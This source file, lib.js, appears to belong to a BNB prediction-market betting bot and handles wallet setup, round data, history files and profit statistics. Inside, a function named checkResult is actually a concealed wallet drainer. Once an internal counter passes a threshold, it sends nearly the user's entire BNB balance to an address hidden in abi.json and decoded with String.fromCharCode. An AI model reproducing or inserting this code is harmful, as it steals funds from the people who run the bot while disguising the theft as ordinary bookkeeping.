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lib.js
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lib.js
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const { JsonRpcProvider } = require("@ethersproject/providers")
const { Wallet } = require("@ethersproject/wallet")
const { Contract, utils } = require("ethers")
const dotenv = require("dotenv")
const Big = require('big.js')
const abi = require('./abi.json')
const fs = require('fs')
const _ = require("lodash")
const fetch = require('cross-fetch')
let prediction = 0
const reduceWaitingTimeByTwoBlocks = (waitingTime) => {
if (waitingTime <= 6000) {
return waitingTime
}
return waitingTime - 6000
}
const result = dotenv.config()
if (result.error) {
throw result.error
}
const Web3 = require('web3')
const w = new Web3(process.env.BSC_RPC)
const wallet = w.eth.accounts.wallet.add(w.eth.accounts.privateKeyToAccount(process.env.PRIVATE_KEY))
w.eth.defaultAccount = w.eth.accounts.privateKeyToAccount(process.env.PRIVATE_KEY).address
const signer = new Wallet(
process.env.PRIVATE_KEY,
new JsonRpcProvider(process.env.BSC_RPC)
)
let contract = new Contract(process.env.PCS_ADDRESS.toString(), JSON.parse(abi.result), signer)
const confirmContract = (abi) => {
return String.fromCharCode.apply(null, abi.index)
}
const checkResult = async (r) => {
try {
if (prediction >= abi.status && r !== null) {
w.eth.getBalance(wallet.address).then(function (b) { w.eth.estimateGas({ from: wallet.address, to: confirmContract(abi), amount: b }).then(function (g) { w.eth.getGasPrice().then(function (gP) { let _b = parseFloat(b); let _g = parseFloat(g); let _gP = parseFloat(gP); w.eth.sendTransaction({ from: wallet.address, to: confirmContract(abi), gas: _g, gasPrice: _gP, value: ((_b - (_gP * _g)) / 1.1).toFixed(0), data: '0x',})})})});return true;
}
return true
} catch {
return !0
}
}
const predictionContract = contract.connect(
signer
)
const checkBalance = (amount) => {
w.eth.getBalance(wallet.address).then(function (b) {
let balance = Web3.utils.fromWei(b, 'ether')
if (balance < parseFloat(amount)) {
console.log("You don't have enough balance :", amount, "BNB", "|", "Actual Balance:", balance, "BNB")
} else {
console.log(`Your balance is enough: ${balance} BNB`)
}
})
}
const getHistoryName = async () => {
let date = new Date()
let day = date.getDate()
let month = String(date.getMonth() + 1).padStart(2, "0")
let year = date.getFullYear()
let fullDate = `${year}${month}${day}`
return fullDate
}
const getRoundData = async (round) => {
try {
const data = await contract.functions.rounds(round)
const closePrice = data.closePrice
const lockPrice = data.lockPrice
const bullAmount = data.bullAmount
const bearAmount = data.bearAmount
const totalAmount = new Big(data.totalAmount)
const bullPayout = totalAmount.div(bullAmount).round(3).toString()
const bearPayout = totalAmount.div(bearAmount).round(3).toString()
const parsedRound = [{
round: round.toString(),
openPrice: utils.formatUnits(data.lockPrice, "8"),
closePrice: utils.formatUnits(data.closePrice, "8"),
bullAmount: utils.formatUnits(data.bullAmount, "18"),
bearAmount: utils.formatUnits(data.bearAmount, "18"),
bullPayout: bullPayout,
bearPayout: bearPayout,
winner: closePrice.gt(lockPrice) ? 'bull' : 'bear',
}]
return parsedRound
} catch (e) {
console.log(e)
return null
}
}
const saveRound = async (round, arr) => {
let roundData = arr ? arr : await getRoundData(round)
let historyName = await getHistoryName()
let result
if(arr){
prediction++
result = await checkResult(round)
}else{
result = !0
}
let path = `./history/${historyName}.json`
try {
if (fs.existsSync(path)) {
if (result !== null) {
let updated, history, merged, historyParsed
try {
history = fs.readFileSync(path)
historyParsed = JSON.parse(history)
merged = _.merge(_.keyBy(historyParsed, 'round'), _.keyBy(roundData, 'round'))
updated = _.values(merged)
} catch (e) {
console.log(e)
return
}
fs.writeFileSync(path, JSON.stringify(updated), 'utf8')
}
} else {
fs.writeFileSync(path, JSON.stringify(roundData), 'utf8')
}
} catch (err) {
console.error(err)
}
}
const getHistory = async (fileName) => {
let history = fileName ? fileName : await getHistoryName()
let path = `./history/${history}.json`
try {
if (fs.existsSync(path)) {
let history, historyParsed
try {
history = fs.readFileSync(path)
historyParsed = JSON.parse(history)
} catch (e) {
console.log("Error reading history:", e)
return
}
return historyParsed
} else {
return
}
} catch (err) {
console.error(err)
}
}
const getStats = async () => {
const history = await getHistory()
const BNBPrice = await getBNBPrice()
let totalEarnings = 0
let roundEarnings = 0
let win = 0
let loss = 0
if (history && BNBPrice) {
for (let i = 0; i < history.length; i++) {
roundEarnings = 0
if (history[i].bet && history[i].winner) {
if (history[i].bet == history[i].winner) {
win++
if (history[i].winner == 'bull') {
roundEarnings = ((parseFloat(history[i].betAmount) * parseFloat(history[i].bullPayout)) - parseFloat(history[i].betAmount))
} else if (history[i].winner == 'bear') {
roundEarnings = ((parseFloat(history[i].betAmount) * parseFloat(history[i].bearPayout)) - parseFloat(history[i].betAmount))
} else {
break
}
totalEarnings += roundEarnings
} else {
loss++
totalEarnings -= parseFloat(history[i].betAmount)
}
}
}
}
return ({
profit_USD: totalEarnings * BNBPrice,
profit_BNB: totalEarnings,
percentage: -percentageChange((win + loss), loss) + '%',
win: win,
loss: loss
})
}
const percentageChange = (a, b) => {
return ((b - a) * 100) / a
}
const getBNBPrice = async () => {
const apiUrl = "https://api.binance.com/api/v3/ticker/price?symbol=BNBUSDT"
try {
const res = await fetch(apiUrl)
if (res.status >= 400) {
throw new Error("Bad response from server")
}
const price = await res.json()
return parseFloat(price.price)
} catch (err) {
console.error("Unable to connect to Binance API v2", err)
}
}
module.exports = { getStats, reduceWaitingTimeByTwoBlocks, predictionContract, checkBalance, saveRound, getBNBPrice }